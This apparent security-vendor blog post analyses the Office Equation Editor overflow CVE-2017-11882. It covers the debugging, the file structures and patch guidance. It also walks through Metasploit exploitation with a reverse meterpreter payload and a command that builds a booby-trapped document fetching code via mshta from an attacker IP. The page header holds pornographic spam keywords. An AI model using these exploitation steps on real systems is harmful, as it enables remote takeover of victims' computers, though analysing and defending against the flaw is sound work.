国产精品资源网在线观看,国产美女主播,国产精品1024,国产一级做a爱片久久毛片a,欧美大片在线,亚洲一区二区三区免费

人工客服

獲取報價

獲取資料

方案定制

項目合作

售后服務

咨詢熱線

400-608-6677 轉810
返回頂部

您的位置:首頁 - 無人機反制

Office系列漏洞經典案例分析與利用

2019-03-28 2873 神州明達-小明

一、 漏洞簡介

CVE-2017-11882屬于緩沖區溢出類型漏洞,產生漏洞原因于EQNEDT32.EXE(微軟office自帶公式編輯器)進程在讀入包含MathType的ole數據時,在拷貝公式字體名稱(Font Name數據)時沒有對名稱長度進行校驗,導致緩沖區溢出。通過覆蓋函數的返回地址,可執行任意代碼。

2017年11月14日,微軟發布了11月份的安全補丁更新,影響流行的所有Office版本。
二、 漏洞測試


使用Command_CVE-2017-11882.py腳本生成漏洞文件。

有兩種方式,我們先測試第一種彈出計算器。

三、 漏洞定位

由于緩沖區溢出函數處于EQNEDT32進程中,所以對它進行調試分析,打開漏洞文件會彈出計算器,一般采用Winexec函數調用,可對該函數進行下斷,然后進行逆推找出溢出點。

首先把eqnedt32.exe拖進od運行(或打開后進行附加),然后定位WinExec進行下斷,打開漏洞文件test.doc,此時斷點會停在WinExec函數上,

由于漏洞利用采用函數覆蓋返回地址,那我們可以從棧中找出漏洞函數的上層或上上層函數繼續進行分析,


在4115A7函數上下好斷點,重新打開漏洞文件,斷下后進行步過(F8)分析,在步過第一個call后并沒有返回,而是直接彈出了計算器,這就說明漏洞溢出點在這個call里面,也就是把棧中返回地址4115D8進行了覆蓋,從而轉向shellcode執行。


上圖是調用41160F,棧中保存的原始返回地址

在copy字體名字的時候,由于沒有校驗名稱長度,導致緩沖區溢出,從而過長的數據覆蓋了該函數的返回地址4115D8。

IDA分析可以看到[ebp+28]就是溢出緩沖區。

[ebp+28]分配的空間是0x24,超過此長度就會產生溢出,從而覆蓋返回地址。

在經過溢出點后,原始返回地址4115D8被覆蓋成402114。

這里覆蓋后的地址是402114,Retn后回轉到該地址處執行,

Retn執行后會轉向12F350處,存放的就是FONT[name]數據,也就是shellcode。

Shellcode中call WinExec函數彈出calc.exe。
成功彈出計算器。
四、 數據結構分析

漏洞出現在模塊EQNEDT32.EXE中,該模塊以OLE技術(Object Linking and Embedding,對象鏈接與嵌入)將公式嵌入在Office文檔內。當插入和編輯數學公式時,EQNEDT32.EXE并不會被作為Office進程(如Word等)的子進程創建,而是以單獨的進程形式存在。這就意味著對于word、excel等Office進程的保護機制,無法阻止EQNEDT32.EXE這個進程被利用。漏洞存在于EQNEDT32.EXE處理Office OLE Equation對象中標記為字體名稱記錄的字節流中,如果Equation對象中存在標記為字體名稱的超長字節流,則程序在處理該字符串的過程,會由于判斷字符串長度而發生棧溢出漏洞。

Equation Native數據流 = EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR頭結構(共28字節)如下

struct EQNOLEFILEHDR {
WORD cbHdr; // 格式頭長度,固定為0x1C。
DWORD version; // 固定為0x00020000。
WORD cf; // 該公式對象的剪貼板格式。
DWORD cbObject; // MTEF數據的長度,不包括頭部。
DWORD reserved1; // 未公開
DWORD reserved2; // 未公開
DWORD reserved3; // 未公開
DWORD reserved4; // 未公開
};

對應的數據如下圖
?
參考:http://rtf2latex2e.sourceforge.net/MTEF3.html

數據 8 對應的數據類型為FONT,記錄及結構如下:
struct stuFontRecord {
BYTE bTag; // 字體文件的tag位0x08
BYTE bTypeFace; // 字體風格
BYTE bStyle; // 字體樣式
BYTE bFontName[n] // 字體名稱,以NULL為結束符
};?

對應的數據如下圖

五、 RTF結構分析


其中,\objupdate控制字來保證OLE對象的自動更新和加載,從而觸發漏洞代碼執行。默認狀態下Office文檔中的OLE Object需要用戶雙擊才能生效。將OLE Object的屬性為自動更新,這樣無需交互,點擊打開文檔后OLE Object對象會生效,從而執行惡意代碼。

對漏洞文件ole對象分析

可以看到插入了數學公式ole對象

查看ole對象的目錄結構

可以看到ole對象中包含了Equation Native流

使用olebrowse工具查看Equation Native 流

六、 MSF利用

首先下載組件
把cve_2017_11882.rb copy到
/usr/share/Metasploit-framework/modules/exploits/windows/smb

再Copy cve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits

啟動metasploit

使用search命令查找11882對應模塊,用命令use exploit/windows/smb/cve_2017_11882
show options查看要設置的參數

設置一個反彈式的meterpreter攻擊載荷

設置本機ip以及URI路徑

使用命令exploit -j 返回結果會顯示出與目標主機的哪個端口建立了連接


生成目標機的漏洞文檔,命令如下
Python Command109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test” -o test.doc
這里的為攻擊機的ip,端口設置8080以及URI設置test,生成后,在目標機打開該文檔。


如果成功,meterpreter會顯示返回連接信息,如失敗,可能是參數錯誤或者其它錯誤

成功后,使用命令sessions -l 查看你控制的pc

使用命令sessions -i 1 切換進入,輸入shell,進入cmd,whoami,OVER。

七、 修復漏洞

(1)下載https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新補丁進行修補
(2)開啟Windows Update功能,定期對系統進行自動更新

取消該模塊的注冊

(1)按下Win+R組合鍵,打開cmd.exe
(2)輸入以下兩條命令:
reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

參考資料:主要來自freebuf、pediy、csdn等平臺

喜歡
分享
咨詢

評論

全部評論0

神州明達- 為您的信息安全負責
  • 24小時發貨

  • 7天退換貨

  • 1年保修期

  • 免費提供方案

填寫信息,獲取定制方案

友情鏈接: 手機信號屏蔽柜
  • 400-608-6677 轉810    
  • 北京市密云區古北口鎮古御路外街11號
  • postmaster@szmid.com
  • 投訴電話:4006086677轉700

北京神州明達高科技有限公司 備案號:京ICP備12008205號-5    技術支持:神州明達

.
0.073769s